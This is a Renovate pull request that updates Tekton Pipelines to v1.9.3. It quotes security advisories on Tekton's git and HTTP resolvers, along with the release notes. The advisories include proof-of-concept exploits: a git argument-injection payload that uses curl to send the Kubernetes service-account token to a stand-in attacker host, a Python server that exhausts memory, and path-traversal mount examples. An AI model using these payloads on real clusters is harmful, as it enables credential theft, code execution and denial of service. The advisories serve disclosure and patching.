Update module github.com/tektoncd/pipeline to v1.9.3 [SECURITY] (main)

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
github.com/tektoncd/pipeline	v1.9.2 → v1.9.3

---

Tekton Pipelines: Git resolver API mode leaks system-configured API token to user-controlled serverURL

CVE-2026-40161 / GHSA-wjxp-xrpv-xpff

More information

Details

Summary

The Tekton Pipelines git resolver in API mode sends the system-configured Git API token to a user-controlled serverURL when the user omits the token parameter. A tenant with TaskRun or PipelineRun create permission can exfiltrate the shared API token (GitHub PAT, GitLab token, etc.) by pointing serverURL to an attacker-controlled endpoint.

Details

The git resolver's ResolveAPIGit() function in pkg/resolution/resolver/git/resolver.go constructs an SCM client using the user-supplied serverURL and a token obtained via getAPIToken().

When the user provides serverURL but omits the token parameter:

1. getSCMTypeAndServerURL() reads serverURL directly from user params (params[ServerURLParam]) with no validation against the system-configured URL.

2. secretRef is set to nil because the user did not provide a token parameter.

3. getAPIToken(ctx, nil, APISecretNameKey) is called. It detects apiSecret == nil, creates a new secretCacheKey, and populates it from the system-configured secret (conf.APISecretName / conf.APISecretNamespace / SYSTEM_NAMESPACE).

4. clientFunc(scmType, serverURL, string(apiToken)) creates an SCM client pointed at the attacker-controlled URL with the system token. The SCM factory sets the token as an Authorization header on the HTTP client.

5. All subsequent API calls (Contents.Find, Git.FindCommit) carry the system token to the attacker URL.

Impact

The system Git API token (GitHub PAT, GitLab token, etc.) is exfiltrated to an attacker-controlled endpoint. This token typically has read access to private repositories containing source code, secrets, and CI/CD configurations.

This follows the same threat model as GHSA-j5q5-j9gm-2w5c (published March 2026): a namespace-scoped tenant with permission to create TaskRuns exploits the git resolver to exfiltrate credentials. The prior advisory involved reading the resolver pod's ServiceAccount token via path traversal. This finding involves redirecting the system Git API token via serverURL.

Patches

Fixed in:

• v1.0.2 (release-v1.0.x branch)
• v1.3.4 (release-v1.3.x branch)
• v1.6.2 (release-v1.6.x branch)
• v1.9.3 (release-v1.9.x branch)
• v1.11.1 (release-v1.11.x branch)

The fix validates that when serverURL is user-provided and differs from the system-configured server URL, the user must also provide their own token parameter. Using the system token with a non-system server URL is rejected.

Workarounds

• Do not configure a system-level API token in the git resolver ConfigMap. Instead, require all users to provide their own tokens via the token parameter.
• Restrict TaskRun creation — limit which users or ServiceAccounts can create TaskRuns and PipelineRuns that use the git resolver.
• Network egress policies — apply NetworkPolicy to the tekton-pipelines-resolvers namespace to restrict outbound traffic to known-good Git servers only.

Affected Versions

All releases from v1.0.0 through v1.10.0, including all patch releases. The API mode of the git resolver has been present since the resolver was introduced.

Releases prior to v1.0.0 are not affected because the git resolver either did not exist or did not have API mode.

Acknowledgments

This vulnerability was reported by Koda Reef (@​kodareef5), who provided a detailed analysis and proof-of-concept. Thank you!

References

• Prior advisory: GHSA-j5q5-j9gm-2w5c
• Related: #​9608 (deprecate api-token-secret-namespace)
• Related: #​9609 (SubjectAccessReview for resolver secrets)

Severity

• CVSS Score: 7.7 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

References

• https://github.com/tektoncd/pipeline/security/advisories/GHSA-wjxp-xrpv-xpff
• https://nvd.nist.gov/vuln/detail/CVE-2026-40161
• https://github.com/tektoncd/pipeline/issues/9608
• https://github.com/tektoncd/pipeline/issues/9609
• https://github.com/advisories/GHSA-wjxp-xrpv-xpff

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Tekton Pipeline: Git Resolver Unsanitized Revision Parameter Enables git Argument Injection Leading to RCE

CVE-2026-40938 / GHSA-94jr-7pqp-xhcq

More information

Details

Summary

The git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration.

Details

Root Cause 1 — Unvalidated revision parameter passed to git fetch

pkg/resolution/resolver/git/repository.go:85:

// pkg/resolution/resolver/git/repository.go lines 84-96
// 'revision' is the raw user-supplied string from the ResolutionRequest param.
// It is passed verbatim as a positional argument to git fetch:
func (repo *repository) checkout(ctx context.Context, revision string) error {
    _, err := repo.execGit(ctx, "fetch", "origin", revision, "--depth=1")
    // When revision == "--upload-pack=/usr/bin/curl", git parses it as the
    // --upload-pack flag, not as a refspec — executing the binary locally.
    if err != nil {
        return fmt.Errorf("fetch: %w", err)
    }
    _, err = repo.execGit(ctx, "checkout", "FETCH_HEAD")
    return err
}

execGit invokes exec.CommandContext("git", ...) — no shell is used, so shell metacharacters cannot be injected. However, git itself parses flags from mixed positional arguments. When revision = "--upload-pack=/path/to/binary", git receives this as the flag --upload-pack=/path/to/binary, not as a refspec. PopulateDefaultParams (resolver.go:418–424) applies only a leading-slash strip and a containsDotDot check on the pathInRepo parameter; the revision parameter receives no validation at all.

Root Cause 2 — validateRepoURL explicitly permits local filesystem paths

pkg/resolution/resolver/git/resolver.go:154-158:

// validateRepoURL validates if the given URL is a valid git, http, https URL or
// starting with a / (a local repository).
func validateRepoURL(url string) bool {
    pattern := `^(/|[^@​]+@​[^:]+|(git|https?)://)`
    re := regexp.MustCompile(pattern)
    return re.MatchString(url)
}

Any URL beginning with / passes validation and is used directly as the argument to git clone. This means a local filesystem path such as /tmp/some-repo is a valid resolver URL.

Exploit Chain

--upload-pack=<binary> causes git to execute the specified binary as the upload-pack server when communicating with the remote. For local-path remotes (/path), git invokes the binary on the resolver pod itself with the repository path as its sole argument. Because the argument is passed via exec.Command as a single --upload-pack=<binary> string (not split by a shell), only binaries at known paths can be invoked — but several useful binaries exist in the resolver pod image (e.g., /bin/sh, /usr/bin/curl, /bin/cp).

Attack complexity is High because the exploit requires either:

• A valid git repository at a known, predicable path on the resolver pod (e.g., /tmp/<reponame>-<suffix> from a concurrent resolution), or
• A default-URL configuration pointing at a local path

PoC

##### Step 1: Set up a local git repository to serve as the "origin"
##### (in a real attack, the attacker would time this against a concurrent clone

##### or use any pre-existing git repo path on the resolver pod)
git init /tmp/localrepo && cd /tmp/localrepo && git commit --allow-empty -m "init"

##### Step 2: Craft a ResolutionRequest with injected --upload-pack flag
kubectl create -f - <<'EOF'
apiVersion: resolution.tekton.dev/v1beta1
kind: ResolutionRequest
metadata:
  name: revision-injection-poc
  namespace: default
  labels:
    resolution.tekton.dev/type: git
spec:
  params:
    - name: url
      value: /tmp/localrepo
    - name: revision
      value: "--upload-pack=/usr/bin/curl http://c2.attacker.internal/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -w0)"
    - name: pathInRepo
      value: README.md
EOF

##### The resolver pod executes:

##### git -C <tmpdir> fetch origin \
#####   "--upload-pack=/usr/bin/curl http://c2.attacker.internal/..." \

#####   --depth=1
#

##### For single-argument binaries (/bin/sh, /usr/bin/env, etc.):
##### git -C <tmpdir> fetch origin "--upload-pack=/bin/sh" --depth=1

##### Executes /bin/sh with the local repository path as argv[1].
##### From /bin/sh, the attacker can use a pre-staged script (e.g., written

##### via a workspace volume) to achieve arbitrary command execution.

Verified: git fetch origin --upload-pack=/tmp/test-exec.sh --depth=1 executes test-exec.sh on the local machine even when origin is a local filesystem path. Exit code 0 was observed with the test binary executed successfully.

Impact

• Code execution on the resolver pod when an attacker can stage or predict a valid git repository path in /tmp on the resolver pod.
• Full cluster-wide Secret exfiltration: The tekton-pipelines-resolvers ServiceAccount is bound to a ClusterRole that grants get/list/watch on all Secrets in all namespaces (config/resolvers/200-clusterrole.yaml). Code execution on the resolver pod is therefore equivalent to reading every Secret in the cluster.
• Privilege escalation: Secrets typically include kubeconfig files, cloud provider credentials, and API tokens — reading them enables lateral movement to cloud infrastructure.
• Both the deprecated resolver (pkg/resolution/resolver/git/) and the current resolver (pkg/remoteresolution/resolver/git/) share the same validateRepoURL, PopulateDefaultParams, and checkout implementation via the shared git package. Both are affected.

Recommended Fix

Fix 1 — Validate that revision does not begin with - in PopulateDefaultParams:

if strings.HasPrefix(paramsMap[RevisionParam], "-") {
    return nil, fmt.Errorf("invalid revision %q: must not begin with '-'", paramsMap[RevisionParam])
}

Fix 2 — Restrict validateRepoURL to remote URLs only (remove local-path support in production builds, or add an explicit admin opt-in feature flag):

func validateRepoURL(url string) bool {
    pattern := `^([^@​]+@​[^:]+|(git|https?)://)`
    re := regexp.MustCompile(pattern)
    return re.MatchString(url)
}

Applying Fix 1 alone is sufficient to prevent the argument injection. Fix 2 eliminates the enabling condition (local-path remotes for which --upload-pack runs locally) and reduces attack surface further.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/tektoncd/pipeline/security/advisories/GHSA-94jr-7pqp-xhcq
• https://github.com/tektoncd/pipeline/releases/tag/v1.11.1
• https://nvd.nist.gov/vuln/detail/CVE-2026-40938
• https://github.com/advisories/GHSA-94jr-7pqp-xhcq

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Tekton Pipelines: VolumeMount path restriction bypass via missing filepath.Clean in /tekton/ check

CVE-2026-40923 / GHSA-rx35-6rhx-7858

More information

Details

Summary

A validation bypass in the VolumeMount path restriction allows mounting
volumes under restricted /tekton/ internal paths by using .. path
traversal components. The restriction check uses strings.HasPrefix
without filepath.Clean, so a path like /tekton/home/../results
passes validation but resolves to /tekton/results at runtime.

Details

Tekton Pipelines restricts VolumeMount paths under /tekton/ (except
/tekton/home) to prevent users from interfering with internal
execution state. The validation at
pkg/apis/pipeline/v1/container_validation.go checks mount paths using
strings.HasPrefix without normalizing the path first:

if strings.HasPrefix(vm.MountPath, "/tekton/") &&
    !strings.HasPrefix(vm.MountPath, "/tekton/home") {
    // reject
}

Because /tekton/home is an allowed prefix, a path like
/tekton/home/../results passes both checks. At runtime, the container
runtime resolves .. and the actual mount point becomes
/tekton/results.

The same pattern exists in pkg/apis/pipeline/v1beta1/task_validation.go.

Impact

An authenticated user with Task or TaskRun creation permissions can
mount volumes over internal Tekton paths, potentially:

• Writing fake task results that downstream pipelines trust
• Reading or modifying step scripts before execution
• Interfering with entrypoint coordination state

Patches

(to be filled: fixed in versions X.Y.Z)

Workarounds

• Use admission controllers (OPA/Gatekeeper, Kyverno) to validate that
  VolumeMount paths do not contain .. components.
• In multi-tenant setups, restrict who can create Task and TaskRun
  resources via RBAC.

Affected Versions

All versions through v1.10.0 (both v1 and v1beta1 APIs).

Acknowledgments

This vulnerability was reported by @​kodareef5.

Severity

• CVSS Score: 5.4 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

References

• https://github.com/tektoncd/pipeline/security/advisories/GHSA-rx35-6rhx-7858
• https://github.com/tektoncd/pipeline/releases/tag/v1.11.1
• https://nvd.nist.gov/vuln/detail/CVE-2026-40923
• https://github.com/advisories/GHSA-rx35-6rhx-7858

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Tekton Pipelines: HTTP Resolver Unbounded Response Body Read Enables Denial of Service via Memory Exhaustion

CVE-2026-40924 / GHSA-m2cx-gpqf-qf74

More information

Details

Summary

The HTTP resolver's FetchHttpResource function calls io.ReadAll(resp.Body) with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the tekton-pipelines-resolvers pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated pkg/resolution/resolver/http and the current pkg/remoteresolution/resolver/http implementations.

Details

pkg/resolution/resolver/http/resolver.go:279–307:

func FetchHttpResource(ctx context.Context, params map[string]string,
    kubeclient kubernetes.Interface, logger *zap.SugaredLogger) (framework.ResolvedResource, error) {

    httpClient, err := makeHttpClient(ctx)  // default timeout: 1 minute
    // ...
    resp, err := httpClient.Do(req)
    // ...
    defer func() { _ = resp.Body.Close() }()

    body, err := io.ReadAll(resp.Body)  // ← no size limit
    if err != nil {
        return nil, fmt.Errorf("error reading response body: %w", err)
    }
    // ...
}

makeHttpClient sets http.Client{Timeout: timeout} where timeout defaults to 1 minute and is configurable via fetch-timeout in the http-resolver-config ConfigMap. The timeout bounds the duration of the entire request (including body read), which limits slow-drip attacks. However, it does not limit the total number of bytes allocated. A fast HTTP server can deliver multi-gigabyte responses well within the 1-minute window.

The resolver deployment (config/core/deployments/resolvers-deployment.yaml) sets a 4 GiB memory limit on the controller container. A response of 4 GiB or larger delivered at wire speed will cause io.ReadAll to allocate 4 GiB, triggering an OOM-kill. With the default timeout of 60 seconds, a server delivering at 100 MB/s can supply 6 GB — well above the 4 GiB limit — before the timeout fires.

The remoteresolution HTTP resolver (pkg/remoteresolution/resolver/http/resolver.go:90) delegates directly to the same FetchHttpResource function and is equally affected.

PoC

##### Step 1: Run an HTTP server that streams a large response fast
python3 - <<'EOF'
import http.server, socketserver

class LargeResponseHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.end_headers()
        # Stream 5 GB at full speed — completes in <60s on a local network
        chunk = b"X" * (1024 * 1024)  # 1 MiB chunk
        for _ in range(5120):          # 5120 * 1 MiB = 5 GiB
            self.wfile.write(chunk)

    def log_message(self, *args):
        pass

with socketserver.TCPServer(("", 8080), LargeResponseHandler) as httpd:
    httpd.serve_forever()
EOF

##### Step 2: Create a TaskRun that triggers the HTTP resolver
kubectl create -f - <<'EOF'
apiVersion: tekton.dev/v1
kind: TaskRun
metadata:
  name: dos-poc
  namespace: default
spec:
  taskRef:
    resolver: http
    params:
      - name: url
        value: http://attacker-server.internal:8080/large-payload
EOF

##### Expected result: tekton-pipelines-resolvers pod is OOM-killed.

##### All resolver types in the cluster (git, hub, bundle, cluster, http)
##### become unavailable until Kubernetes restarts the pod.

##### Repeated submission causes a crash loop that continuously disrupts
##### resolution for all tenants in the cluster.

Note: On clusters where operators have set a higher fetch-timeout (e.g., 10m), the attacker has more time to deliver a larger body, and the attack is more reliable. On clusters with tight memory limits on the resolver pod, a smaller payload suffices.

Impact

• Denial of Service: OOM-kill of the tekton-pipelines-resolvers pod denies all resolution services cluster-wide until Kubernetes restarts the pod.
• Crash loop amplification: A tenant can submit multiple concurrent TaskRuns pointing to the attack server. Each in-flight resolution request accumulates memory independently in the same pod, reducing the payload size needed to reach the OOM threshold.
• Blast radius: Because all resolver types share a single pod, disrupting the HTTP resolver also disrupts unrelated users of the Git, Bundle, Cluster, and Hub resolvers. This is a cluster-wide availability impact achievable by a single namespace-level user.

Recommended Fix

Wrap resp.Body with io.LimitReader before passing to io.ReadAll. Add a configurable max-body-size option to the http-resolver-config ConfigMap with a sensible default (e.g., 50 MiB, which exceeds the size of any realistic pipeline YAML file):

const defaultMaxBodyBytes = 50 * 1024 * 1024 // 50 MiB

// In FetchHttpResource, replace:
//   body, err := io.ReadAll(resp.Body)
// with:
maxBytes := int64(defaultMaxBodyBytes)
if v, ok := conf["max-body-size"]; ok {
    if parsed, err := strconv.ParseInt(v, 10, 64); err == nil {
        maxBytes = parsed
    }
}
limitedReader := io.LimitReader(resp.Body, maxBytes+1)
body, err := io.ReadAll(limitedReader)
if err != nil {
    return nil, fmt.Errorf("error reading response body: %w", err)
}
if int64(len(body)) > maxBytes {
    return nil, fmt.Errorf("response body exceeds maximum allowed size of %d bytes", maxBytes)
}

This fix must be applied to FetchHttpResource in pkg/resolution/resolver/http/resolver.go, which is shared by both the deprecated and current HTTP resolver implementations.

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/tektoncd/pipeline/security/advisories/GHSA-m2cx-gpqf-qf74
• https://github.com/tektoncd/pipeline/releases/tag/v1.11.1
• https://nvd.nist.gov/vuln/detail/CVE-2026-40924
• https://github.com/advisories/GHSA-m2cx-gpqf-qf74

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

tektoncd/pipeline (github.com/tektoncd/pipeline)

v1.9.3: Tekton Pipeline release v1.9.3 "Devon Rex Dreadnought"

Compare Source

-Docs @​ v1.9.3
-Examples @​ v1.9.3

Installation one-liner

kubectl apply -f https://infra.tekton.dev/tekton-releases/pipeline/previous/v1.9.3/release.yaml

Attestation

The Rekor UUID for this release is 108e9186e8c5677a7943c77b03fff46f83c0876773ae3dcc84e6dcb29d64ca605afb3cbc0ff77ecb

Obtain the attestation:

REKOR_UUID=108e9186e8c5677a7943c77b03fff46f83c0876773ae3dcc84e6dcb29d64ca605afb3cbc0ff77ecb
rekor-cli get --uuid $REKOR_UUID --format json | jq -r .Attestation | jq .

Verify that all container images in the attestation are in the release file:

RELEASE_FILE=https://infra.tekton.dev/tekton-releases/pipeline/previous/v1.9.3/release.yaml
REKOR_UUID=108e9186e8c5677a7943c77b03fff46f83c0876773ae3dcc84e6dcb29d64ca605afb3cbc0ff77ecb

# Obtains the list of images with sha from the attestation
REKOR_ATTESTATION_IMAGES=$(rekor-cli get --uuid "$REKOR_UUID" --format json | jq -r .Attestation | jq -r '.subject[]|.name + ":v1.9.3@​sha256:" + .digest.sha256')

# Download the release file
curl -L "$RELEASE_FILE" > release.yaml

# For each image in the attestation, match it to the release file
for image in $REKOR_ATTESTATION_IMAGES; do
  printf $image; grep -q $image release.yaml && echo " ===> ok" || echo " ===> no match";
done

Changes

⚠️ Security Fixes

• GHSA-wjxp-xrpv-xpff / CVE-2026-40161 (HIGH): Git resolver API mode leaks system-configured API token to user-controlled serverURL. A user who can create TaskRuns can exfiltrate the system Git API token by pointing the resolver at an attacker-controlled server.

• GHSA-94jr-7pqp-xhcq / CVE-2026-40938 (HIGH): Git resolver unsanitized revision parameter enables argument injection. A malicious revision value can inject arbitrary flags into the git CLI, potentially leading to remote code execution on the resolver pod.

• GHSA-rx35-6rhx-7858 / CVE-2026-40923 (Medium): VolumeMount path restriction bypass via missing filepath normalization. Paths like /tekton/../sensitive bypass the /tekton/ prefix restriction check.

• GHSA-rmx9-2pp3-xhcr / CVE-2026-25542 (Medium): VerificationPolicy regex pattern bypass via substring matching. Unanchored patterns allow partial matches, letting unsigned resources pass verification.

• GHSA-m2cx-gpqf-qf74 / CVE-2026-40924 (Medium): HTTP resolver unbounded response body read enables OOM denial of service. A malicious URL returning a very large response can exhaust the resolver pod's memory. Response body is now limited to 1 MiB.

Fixes

• 🐛 Fix running_taskruns metric overcounting TaskRuns with no condition
• 🐛 Pin registry image and relax log-based cache assertion
• 🐛 Bump Go to 1.24.13 to fix CVE-2025-61728, CVE-2025-61726, CVE-2025-61729
• 🐛 Fix TextParser struct usage for prometheus/common v0.62.0 compatibility
• 🐛 Remove corrupted resolver cache entries on type error
• 🐛 Resolve resolver cache race condition with singleflight
• 🐛 Align resolver cache configstore with framework implementation

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • ""
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[codecov]

Codecov Report

✅ All modified and coverable lines are covered by tests.

Flag	Coverage Δ
acceptance	55.60% <ø> (ø)
generative	17.82% <ø> (ø)
integration	26.56% <ø> (ø)
unit	69.04% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

🚀 New features to boost your workflow:

• ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.